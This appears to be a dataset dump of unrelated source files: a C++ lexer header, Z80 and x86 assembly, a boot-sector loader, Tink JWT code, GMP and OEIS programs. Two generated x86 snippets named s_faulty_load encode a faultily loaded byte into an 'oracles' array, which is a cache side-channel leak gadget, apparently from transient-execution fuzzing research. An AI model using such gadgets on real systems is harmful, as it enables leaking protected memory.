text
stringlengths
1
1.05M
#ifndef TITAN_LEXER_HPP #define TITAN_LEXER_HPP #include <string> #include <vector> #include "tokens.hpp" namespace titan { class lexer { public: lexer(); void clear(); std::vector<TD_Pair> lex(size_t line_no, std::string line); private: std::vector<TD_Pair> _tokens; struct SourceLine { std::string data; size_t line_no; }; std::string _current_line; size_t _idx; void advance(); char peek(size_t ahead = 1); }; } // namespace titan #endif
ld a, 15 ld (basescradr + #03ee), a ld (basescradr + #092b), a ld (basescradr + #0a2b), a ld (basescradr + #0bcb), a ld (basescradr + #0bec), a ld (basescradr + #0ccb), a ld a, 255 ld hl, basescradr + #084b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #09ab ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0d0c ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #03ef), a ld (basescradr + #04ee), a ld (basescradr + #05ee), a ld (basescradr + #080d), a ld (basescradr + #08ec), a ld (basescradr + #090d), a ld (basescradr + #0fcc), a ld a, 192 ld (basescradr + #03f0), a ld (basescradr + #0a12), a ld (basescradr + #0a33), a ld (basescradr + #0bd3), a ld (basescradr + #0bf2), a ld a, 252 ld hl, basescradr + #0bb3 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #04f0), a ld (basescradr + #0853), a ld (basescradr + #0953), a ld (basescradr + #0d12), a ld (basescradr + #0fd2), a ld (basescradr + #1110), a ld a, 7 ld hl, basescradr + #086a ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #088a ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #05ed), a ld (basescradr + #082b), a ld (basescradr + #090c), a ld (basescradr + #0cec), a ld (basescradr + #0dcb), a ld a, 31 ld (basescradr + #06ed), a ld (basescradr + #0a0c), a ld (basescradr + #0acb), a ld (basescradr + #0b2b), a ld (basescradr + #0fed), a ld a, 224 ld (basescradr + #06f1), a ld (basescradr + #0ad3), a ld (basescradr + #0af2), a ld (basescradr + #0b33), a ld (basescradr + #0ff1), a ld a, 127 ld (basescradr + #07ed), a ld (basescradr + #09ec), a ld (basescradr + #0c0c), a ld (basescradr + #0e2b), a ld (basescradr + #0eab), a ld (basescradr + #0eed), a ld (basescradr + #0f2b), a ld (basescradr + #0fab), a ld a, 248 ld (basescradr + #07f1), a ld (basescradr + #08f2), a ld (basescradr + #0c12), a ld (basescradr + #0e33), a ld (basescradr + #0eb3), a ld (basescradr + #0ef1), a ld (basescradr + #0f33), a ld a, 1 ld hl, basescradr + #09aa ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a4a ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #080c), a ld (basescradr + #0dec), a ld (basescradr + #0e0b), a ld (basescradr + #0fcb), a ld a, 254 ld hl, basescradr + #08b3 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a53 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0811), a ld (basescradr + #0df1), a ld (basescradr + #0e12), a ld (basescradr + #0ed2), a ld (basescradr + #120f), a xor a ld hl, basescradr + #0a54 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0ab4 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld d,a ld e,a ld (basescradr + #130f), de ld (basescradr + #0812), a ld (basescradr + #0874), a ld (basescradr + #08b4), a ld (basescradr + #08f3), a ld (basescradr + #0c94), a ld (basescradr + #0cf2), a ld (basescradr + #0e13), a ld (basescradr + #0e54), a ld (basescradr + #0e94), a ld (basescradr + #0ed3), a ld (basescradr + #0ef2), a ld (basescradr + #0f13), a ld (basescradr + #0f54), a ld (basescradr + #0f94), a ld (basescradr + #0fd3), a ld (basescradr + #1011), a ld (basescradr + #1210), a ld a, 196 ld (basescradr + #0912), a ld (basescradr + #0933), a ld (basescradr + #0994), a ld (basescradr + #0d74), a ld a, 63 ld (basescradr + #08cb), a ld (basescradr + #09cb), a ld (basescradr + #0aec), a ld (basescradr + #0b0c), a ld (basescradr + #0c2b), a ld (basescradr + #0d2b), a ld a, 240 ld (basescradr + #08d3), a ld (basescradr + #0b12), a ld (basescradr + #0c33), a ld (basescradr + #0fb3), a ld a, 68 ld d,a ld e,a ld (basescradr + #1111), de ld (basescradr + #0954), a ld (basescradr + #0974), a ld (basescradr + #09b4), a ld (basescradr + #09d4), a ld (basescradr + #0d13), a ld (basescradr + #0d54), a ld (basescradr + #0d94), a ld (basescradr + #0db4), a ld (basescradr + #0dd3), a ld (basescradr + #0df2), a ld a, 3 ld hl, basescradr + #0d4a ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #08aa), a ld (basescradr + #0e8a), a ld (basescradr + #0ecb), a ld (basescradr + #0f0b), a ld (basescradr + #0f8a), a ld (basescradr + #120e), a ld a, 128 ld hl, basescradr + #0a74 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0833), a ld (basescradr + #0894), a ld (basescradr + #0a94), a ld (basescradr + #0b94), a ld (basescradr + #0cd3), a ld (basescradr + #0e74), a ld (basescradr + #0f74), a ld a, 64 ld (basescradr + #0934), a ld (basescradr + #0975), a ld (basescradr + #0995), a ld (basescradr + #09b5), a ld (basescradr + #09f4), a ld (basescradr + #0d75), a ld (basescradr + #0d95), a ld a, 244 ld (basescradr + #09f2), a ld (basescradr + #0d33), a ld a, 228 ld (basescradr + #09d3), a ret
start: readnumber r2 set r3 0 store r3 r2 set r2 'o' set r3 4 store r3 r2 set r2 0 load r2 r2 set r3 2 mod r4 r2 r3 set r2 1 test r4 r2 set r3 1 je next_0 set r3 0 next_0: set r2 1 test r2 r3 jne endif_0 set r2 'e' set r4 4 store r4 r2 endif_0: set r2 4 load r2 r2 write r2 stop
-- HUMAN RESOURCE MACHINE PROGRAM -- -- 20-Multiplication-Workshop - SIZE 157/15 - SPEED 72/109 -- -- This solution is level-specific (quality-limited input) and assumes input -- values of 0-9. e: a: INBOX JUMPZ out1 COPYTO 0 INBOX JUMPZ out2 COPYTO 1 SUB 0 JUMPN neg BUMPDN 0 JUMPZ a1 BUMPDN 0 JUMPZ a2 BUMPDN 0 JUMPZ a3 BUMPDN 0 JUMPZ a4 BUMPDN 0 JUMPZ a5 BUMPDN 0 JUMPZ a6 BUMPDN 0 JUMPZ a7 BUMPDN 0 JUMPZ a8 JUMP a9 neg: BUMPDN 1 JUMPZ b1 BUMPDN 1 JUMPZ b2 BUMPDN 1 JUMPZ b3 BUMPDN 1 JUMPZ b4 BUMPDN 1 JUMPZ b5 BUMPDN 1 JUMPZ b6 BUMPDN 1 JUMPZ b7 BUMPDN 1 JUMPZ b8 JUMP b9 out1: OUTBOX INBOX JUMP a a1: COPYFROM 1 out2: OUTBOX JUMP e a2: COPYFROM 1 ADD 1 OUTBOX JUMP e a3: COPYFROM 1 ADD 1 ADD 1 OUTBOX JUMP e a4: COPYFROM 1 ADD 1 ADD 1 ADD 1 OUTBOX JUMP e a5: COPYFROM 1 ADD 1 ADD 1 ADD 1 ADD 1 OUTBOX JUMP e a6: COPYFROM 1 ADD 1 ADD 1 COPYTO 3 ADD 3 OUTBOX JUMP e a7: COPYFROM 1 ADD 1 ADD 1 COPYTO 3 ADD 3 ADD 1 OUTBOX JUMP e a8: COPYFROM 1 ADD 1 ADD 1 ADD 1 COPYTO 3 ADD 3 OUTBOX JUMP e a9: COPYFROM 1 ADD 1 ADD 1 COPYTO 3 ADD 3 ADD 3 OUTBOX JUMP e b1: COPYFROM 0 OUTBOX JUMP e b2: COPYFROM 0 ADD 0 OUTBOX JUMP e b3: COPYFROM 0 ADD 0 ADD 0 OUTBOX JUMP e b4: COPYFROM 0 ADD 0 ADD 0 ADD 0 OUTBOX JUMP e b5: COPYFROM 0 ADD 0 ADD 0 ADD 0 ADD 0 OUTBOX JUMP e b6: COPYFROM 0 ADD 0 ADD 0 COPYTO 3 ADD 3 OUTBOX JUMP e b7: COPYFROM 0 ADD 0 ADD 0 COPYTO 3 ADD 3 ADD 0 OUTBOX JUMP e b8: COPYFROM 0 ADD 0 ADD 0 ADD 0 COPYTO 3 ADD 3 OUTBOX JUMP e b9: COPYFROM 0 ADD 0 ADD 0 COPYTO 3 ADD 3 ADD 3 OUTBOX JUMP e
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x14e71, %r15 nop nop nop nop and $3600, %rdx mov (%r15), %rcx nop nop nop nop sub %rdx, %rdx lea addresses_WT_ht+0x1d6d1, %r8 nop nop nop nop nop sub %r13, %r13 movb $0x61, (%r8) nop nop nop nop nop add $7885, %r8 lea addresses_A_ht+0x17b71, %rdx nop xor $5706, %rsi movl $0x61626364, (%rdx) nop nop nop nop add $12213, %r15 lea addresses_WT_ht+0xc111, %r11 nop nop nop nop nop sub $33662, %rdx movl $0x61626364, (%r11) nop nop nop cmp %r8, %r8 lea addresses_D_ht+0x9d81, %rsi lea addresses_A_ht+0xf921, %rdi nop nop cmp $19004, %r11 mov $32, %rcx rep movsw lfence lea addresses_WC_ht+0x83f4, %rsi lea addresses_WC_ht+0x1e9cf, %rdi nop nop nop nop xor %rdx, %rdx mov $97, %rcx rep movsq dec %rsi lea addresses_UC_ht+0x16231, %r11 nop nop nop nop inc %r8 mov $0x6162636465666768, %rdi movq %rdi, %xmm7 movups %xmm7, (%r11) nop add $50758, %rcx lea addresses_WT_ht+0x4671, %r8 nop nop nop inc %rcx mov $0x6162636465666768, %r15 movq %r15, %xmm5 movups %xmm5, (%r8) nop nop nop nop cmp %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r8 push %r9 push %rbx push %rcx push %rdx push %rsi // Load lea addresses_UC+0xdbe9, %rcx nop cmp %r9, %r9 mov (%rcx), %rsi nop nop nop xor $13221, %rcx // Faulty Load lea addresses_UC+0x10b71, %rdx nop cmp %r8, %r8 movups (%rdx), %xmm6 vpextrq $1, %xmm6, %r11 lea oracles, %rdx and $0xff, %r11 shlq $12, %r11 mov (%rdx,%r11,1), %r11 pop %rsi pop %rdx pop %rcx pop %rbx pop %r9 pop %r8 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': True, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 1}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 8}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 0}, 'OP': 'STOR'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
[ORG 7C00h] mov ax, cs mov ds, ax mov es, ax reset: mov ax, 0 ; int13h[AH = 00h]: Reset Drive mov dl, 80h ; Drive = 80h int 13h jc reset ; Exception read: mov ax, 1000h ; ES:BX = 1000h:0000 mov es, ax mov bx, 0 mov ah, 2 ; int13h[AH = 02h]: Load Drive mov al, 5 ; Load 5 Sectors mov ch, 0 ; Cylinder = 0 mov cl, 2 ; Sector = 2 mov dh, 0 ; Head = 0 mov dl, 80h ; Drive = 80h int 13h ; Load Data to 1000h:0000 jc read ; Exception jmp 1000h:0000 times 510-($-$$) db 0 dw 0xAA55
// Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // /////////////////////////////////////////////////////////////////////////////// #include "tink/jwt/jwt_object.h" #include "absl/strings/numbers.h" #include "absl/strings/str_format.h" #include "absl/strings/substitute.h" #include "tink/jwt/json_object.h" #include "tink/jwt/jwt_names.h" namespace crypto { namespace tink { JwtObject::JwtObject(const JsonObject& payload) { payload_ = payload; } JwtObject::JwtObject() {} util::StatusOr<std::vector<std::string>> JwtObject::GetClaimAsStringList( absl::string_view name) const { return payload_.GetValueAsStringList(name); } util::StatusOr<std::vector<int>> JwtObject::GetClaimAsNumberList( absl::string_view name) const { return payload_.GetValueAsNumberList(name); } util::StatusOr<std::vector<std::string>> JwtObject::GetAudiences() const { std::vector<std::string> vec; auto aud_or = payload_.GetValueAsString(kJwtClaimAudience); if (aud_or.status().ok()) { vec.push_back(aud_or.ValueOrDie()); return vec; } return payload_.GetValueAsStringList(kJwtClaimAudience); } util::StatusOr<int> JwtObject::GetClaimAsNumber(absl::string_view name) const { return payload_.GetValueAsNumber(name); } util::StatusOr<bool> JwtObject::GetClaimAsBool(absl::string_view name) const { return payload_.GetValueAsBool(name); } util::StatusOr<std::string> JwtObject::GetSubject() const { return payload_.GetValueAsString(kJwtClaimSubject); } util::StatusOr<absl::Time> JwtObject::GetExpiration() const { return payload_.GetValueAsTime(kJwtClaimExpiration); } util::StatusOr<absl::Time> JwtObject::GetNotBefore() const { return payload_.GetValueAsTime(kJwtClaimNotBefore); } util::StatusOr<absl::Time> JwtObject::GetIssuedAt() const { return payload_.GetValueAsTime(kJwtClaimIssuedAt); } util::StatusOr<std::string> JwtObject::GetIssuer() const { return payload_.GetValueAsString(kJwtClaimIssuer); } util::StatusOr<std::string> JwtObject::GetJwtId() const { return payload_.GetValueAsString(kJwtClaimJwtId); } util::StatusOr<std::string> JwtObject::GetClaimAsString( absl::string_view name) const { return payload_.GetValueAsString(name); } util::Status JwtObject::SetIssuer(absl::string_view issuer) { return payload_.SetValueAsString(kJwtClaimIssuer, issuer); } util::Status JwtObject::SetSubject(absl::string_view subject) { return payload_.SetValueAsString(kJwtClaimSubject, subject); } util::Status JwtObject::SetJwtId(absl::string_view jwid) { return payload_.SetValueAsString(kJwtClaimJwtId, jwid); } util::Status JwtObject::SetExpiration(absl::Time expiration) { return payload_.SetValueAsTime(kJwtClaimExpiration, expiration); } util::Status JwtObject::SetNotBefore(absl::Time notBefore) { return payload_.SetValueAsTime(kJwtClaimNotBefore, notBefore); } util::Status JwtObject::SetIssuedAt(absl::Time issuedAt) { return payload_.SetValueAsTime(kJwtClaimIssuedAt, issuedAt); } util::Status JwtObject::AddAudience(absl::string_view audience) { return payload_.AppendValueToStringList(kJwtClaimAudience, audience); } util::Status JwtObject::SetClaimAsString(absl::string_view name, absl::string_view value) { auto status = ValidatePayloadName(name); if (status != util::Status::OK) { return status; } return payload_.SetValueAsString(name, value); } util::Status JwtObject::SetClaimAsNumber(absl::string_view name, int value) { auto status = ValidatePayloadName(name); if (status != util::Status::OK) { return status; } return payload_.SetValueAsNumber(name, value); } util::Status JwtObject::SetClaimAsBool(absl::string_view name, bool value) { auto status = ValidatePayloadName(name); if (status != util::Status::OK) { return status; } return payload_.SetValueAsBool(name, value); } util::Status JwtObject::AppendClaimToStringList(absl::string_view name, absl::string_view value) { auto status = ValidatePayloadName(name); if (status != util::Status::OK) { return status; } return payload_.AppendValueToStringList(name, value); } util::Status JwtObject::AppendClaimToNumberList(absl::string_view name, int value) { auto status = ValidatePayloadName(name); if (status != util::Status::OK) { return status; } return payload_.AppendValueToNumberList(name, value); } util::StatusOr<absl::string_view> JwtObject::AlgorithmTypeToString( const enum JwtAlgorithm algorithm) const { switch (algorithm) { case JwtAlgorithm::kHs256: return kJwtAlgorithmHs256; case JwtAlgorithm::kEs256: return kJwtAlgorithmEs256; case JwtAlgorithm::kRs256: return kJwtAlgorithmRs256; default: return crypto::tink::util::Status( util::error::UNIMPLEMENTED, absl::Substitute( "algorithm '$0' is not supported", static_cast<std::underlying_type<JwtAlgorithm>::type>( algorithm))); } } util::StatusOr<absl::flat_hash_map<std::string, enum JsonFieldType>> JwtObject::getClaimNamesAndTypes() { return payload_.getFieldNamesAndTypes(); } util::StatusOr<enum JwtAlgorithm> JwtObject::AlgorithmStringToType( absl::string_view algo_name) const { if (algo_name == kJwtAlgorithmHs256) { return JwtAlgorithm::kHs256; } if (algo_name == kJwtAlgorithmEs256) { return JwtAlgorithm::kEs256; } if (algo_name == kJwtAlgorithmRs256) { return JwtAlgorithm::kRs256; } return crypto::tink::util::Status( util::error::INVALID_ARGUMENT, absl::Substitute("algorithm '$0' does not exist", algo_name)); } util::Status JwtObject::ValidatePayloadName(absl::string_view name) { if (IsRegisteredPayloadName(name)) { return absl::InvalidArgumentError(absl::Substitute( "claim '$0' is invalid because it's a registered name; " "use the corresponding setter method.", name)); } return util::OkStatus(); } bool JwtObject::IsRegisteredPayloadName(absl::string_view name) { return name == kJwtClaimIssuer || name == kJwtClaimSubject || name == kJwtClaimAudience || name == kJwtClaimExpiration || name == kJwtClaimNotBefore || name == kJwtClaimIssuedAt || name == kJwtClaimJwtId; } } // namespace tink } // namespace crypto
Name: edit_data.asm Type: file Size: 8306 Last-Modified: '1992-07-01T15:00:00Z' SHA-1: D553E282915573CD79FFFDA2D8C85142D23F8A2F Description: null
; A192346: Constant term of the reduction (by x^2->x+1) of polynomial p(n,x) identified in Comments. ; Submitted by Christian Krause ; 1,0,3,4,25,68,275,904,3297,11400,40499,141900,500697,1760396,6200675,21820432,76823425,270407696,951914403,3350807700,11795463001,41521535700,146162319603,514512119704,1811159622625,6375545788568,22442862753875 mov $1,1 mov $4,-1 lpb $0 sub $0,1 add $2,$1 add $4,$3 add $3,$4 add $1,$3 add $4,$2 add $3,$4 sub $4,$3 sub $2,$4 add $3,$4 add $3,$2 add $3,$4 lpe mov $0,$1
dnl AMD64 mpn_copyd optimised for CPUs with fast SSE. dnl Copyright 2003, 2005, 2007, 2011, 2012 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb good for cpu? C AMD K8,K9 C AMD K10 0.85 Y C AMD bd1 0.8 Y C AMD bobcat C Intel P4 2.28 Y C Intel core2 1 C Intel NHM 0.5 Y C Intel SBR 0.5 Y C Intel atom C VIA nano 1.1 Y C We try to do as many 16-byte operations as possible. The top-most and C bottom-most writes might need 8-byte operations. We can always write using C aligned 16-byte operations, we read with both aligned and unaligned 16-byte C operations. C Instead of having separate loops for reading aligned and unaligned, we read C using MOVDQU. This seems to work great except for core2; there performance C doubles when reading using MOVDQA (for aligned source). It is unclear how to C best handle the unaligned case there. C INPUT PARAMETERS define(`rp', `%rdi') define(`up', `%rsi') define(`n', `%rdx') ABI_SUPPORT(DOS64) ABI_SUPPORT(STD64) ASM_START() TEXT ALIGN(16) PROLOGUE(mpn_copyd) FUNC_ENTRY(3) test n, n jz L(don) lea -16(rp,n,8), rp lea -16(up,n,8), up test $8, R8(rp) C is rp 16-byte aligned? jz L(ali) C jump if rp aligned mov 8(up), %rax lea -8(up), up mov %rax, 8(rp) lea -8(rp), rp dec n sub $16, n jc L(sma) ALIGN(16) L(top): movdqu (up), %xmm0 movdqu -16(up), %xmm1 movdqu -32(up), %xmm2 movdqu -48(up), %xmm3 movdqu -64(up), %xmm4 movdqu -80(up), %xmm5 movdqu -96(up), %xmm6 movdqu -112(up), %xmm7 lea -128(up), up movdqa %xmm0, (rp) movdqa %xmm1, -16(rp) movdqa %xmm2, -32(rp) movdqa %xmm3, -48(rp) movdqa %xmm4, -64(rp) movdqa %xmm5, -80(rp) movdqa %xmm6, -96(rp) movdqa %xmm7, -112(rp) lea -128(rp), rp L(ali): sub $16, n jnc L(top) L(sma): test $8, R8(n) jz 1f movdqu (up), %xmm0 movdqu -16(up), %xmm1 movdqu -32(up), %xmm2 movdqu -48(up), %xmm3 lea -64(up), up movdqa %xmm0, (rp) movdqa %xmm1, -16(rp) movdqa %xmm2, -32(rp) movdqa %xmm3, -48(rp) lea -64(rp), rp 1: test $4, R8(n) jz 1f movdqu (up), %xmm0 movdqu -16(up), %xmm1 lea -32(up), up movdqa %xmm0, (rp) movdqa %xmm1, -16(rp) lea -32(rp), rp 1: test $2, R8(n) jz 1f movdqu (up), %xmm0 lea -16(up), up movdqa %xmm0, (rp) lea -16(rp), rp 1: test $1, R8(n) jz 1f mov 8(up), %r8 mov %r8, 8(rp) 1: L(don): FUNC_EXIT() ret EPILOGUE()
; A046978: Numerators of Taylor series for exp(x)*sin(x). ; 0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0,1,1,1,0,-1,-1,-1,0 mul $0,2 mov $1,$0 mov $2,1 lpb $1 sub $1,7 trn $1,0 sub $1,1 add $2,3 lpe bin $1,$2
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1ec1c, %rcx nop nop nop sub $45501, %rsi movups (%rcx), %xmm2 vpextrq $1, %xmm2, %r15 nop nop nop cmp %rdx, %rdx lea addresses_D_ht+0x1cd7c, %rsi lea addresses_D_ht+0x6a7c, %rdi clflush (%rdi) nop nop nop and %rbx, %rbx mov $68, %rcx rep movsq inc %r15 lea addresses_UC_ht+0x1077e, %rsi lea addresses_normal_ht+0x9b44, %rdi nop inc %r9 mov $11, %rcx rep movsq nop nop nop nop nop add %rsi, %rsi lea addresses_WT_ht+0x5ea4, %rsi nop sub $45751, %rcx movl $0x61626364, (%rsi) nop nop nop nop xor %rcx, %rcx lea addresses_D_ht+0x1918, %rdx nop nop and $49161, %rsi mov $0x6162636465666768, %rbx movq %rbx, (%rdx) nop nop nop nop sub %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 ret .global s_faulty_load s_faulty_load: push %r13 push %rax push %rbp push %rdx // Faulty Load lea addresses_RW+0x27c, %rdx nop nop nop nop nop xor %rbp, %rbp vmovups (%rdx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r13 lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rdx pop %rbp pop %rax pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}} {'32': 7936} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 